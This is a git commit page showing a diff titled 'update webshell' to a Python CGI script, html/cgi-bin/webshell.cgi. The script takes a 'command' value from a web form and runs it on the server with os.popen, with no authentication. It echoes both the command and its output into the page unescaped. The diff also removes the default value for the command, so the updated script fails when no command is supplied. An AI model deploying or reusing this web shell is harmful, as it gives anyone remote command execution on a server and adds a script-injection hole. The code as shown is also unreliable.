diff options
| author | jerome <jerome@xlinfo.fr> | 2023-12-26 16:53:26 +0100 |
|---|---|---|
| committer | jerome <jerome@xlinfo.fr> | 2023-12-26 16:53:26 +0100 |
| commit | a0226e643f9f47c9cb6a74c54c5e8be298639922 (patch) | |
| tree | 3e80a3043dbbeef2cb4243ab899f9cec9db0ae13 /html | |
| parent | cf64d94fec70d257df33a49901dc0ff0d5ad85f4 (diff) | |
| download | python-a0226e643f9f47c9cb6a74c54c5e8be298639922.tar.gz python-a0226e643f9f47c9cb6a74c54c5e8be298639922.zip | |
update webshell
Diffstat (limited to 'html')
| -rwxr-xr-x | html/cgi-bin/webshell.cgi | 20 |
1 files changed, 9 insertions, 11 deletions
diff --git a/html/cgi-bin/webshell.cgi b/html/cgi-bin/webshell.cgi index 989085e..0ef300b 100755 --- a/html/cgi-bin/webshell.cgi +++ b/html/cgi-bin/webshell.cgi @@ -9,11 +9,6 @@ import os form = cgi.FieldStorage() if form.getvalue('command'): cmd = form.getvalue('command') -else: - cmd = ":" -user = os.getlogin() -host = os.environ.get('SERVER_NAME') -pwd = os.environ.get('PWD') print("Content-Type: text/html; charset=UTF-8\n\n") print (""" @@ -23,16 +18,19 @@ print (""" </head> <body> <h1>Web shell</h1> -<p>Entrez votre commande : </p> +<p>Votre commande : +""") +if cmd : print(cmd) +print(""" +</p> <form action=''> <input type='text' name='command' id='command' /> -<input type='submit' value='submit' /> -</form>""") +</form> +""") if cmd : - print("<pre style='display:inline-block;min-width:50em;padding:1em;background-color:black;color:white'>") - print(f"{user}@{host}:{pwd}$ {cmd}\n{os.popen(cmd).read()}") + print("<pre>") + print(os.popen(cmd).read()) print("</pre>") print(""" -<script>document.getElementById("command").focus()</script> </body> </html>""") |
